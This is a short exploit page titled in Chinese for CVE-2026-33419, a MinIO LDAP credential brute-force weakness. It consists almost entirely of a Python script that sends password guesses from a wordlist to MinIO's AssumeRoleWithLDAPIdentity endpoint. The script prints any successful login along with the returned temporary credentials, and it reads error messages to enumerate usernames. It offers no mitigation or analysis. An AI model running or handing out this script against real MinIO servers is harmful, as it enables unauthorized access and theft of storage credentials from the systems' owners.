CVE-2026-33419 MinIO LDAP凭证暴力破解漏洞

import requests import json # Target configuration target_url = "https://<minio-server>/minio/sts/AssumeRoleWithLDAPIdentity" ldap_user_base = "admin" password_file = "passwords.txt" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded" } def brute_force(username, password): payload = { "Action": "AssumeRoleWithLDAPIdentity", "Version": "2011-06-15", "LDAPUsername": username, "LDAPPassword": password } try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # Check for successful credential usage (usually HTTP 200 and specific XML structure) if response.status_code == 200 and "AssumeRoleWithLDAPIdentityResult" in response.text: print(f"[+] Success! Username: {username}, Password: {password}") print(response.text) return True # Check for username enumeration patterns (e.g., specific error messages in response) # Note: Specific error parsing depends on MinIO version and response format elif "User does not exist" in response.text: print(f"[-] User not found: {username}") return False else: print(f"[*] Failed attempt: {username}:{password}") return False except Exception as e: print(f"[!] Error: {e}") return False # Example usage loop # with open(password_file, 'r') as f: # for pwd in f: # brute_force(ldap_user_base, pwd.strip())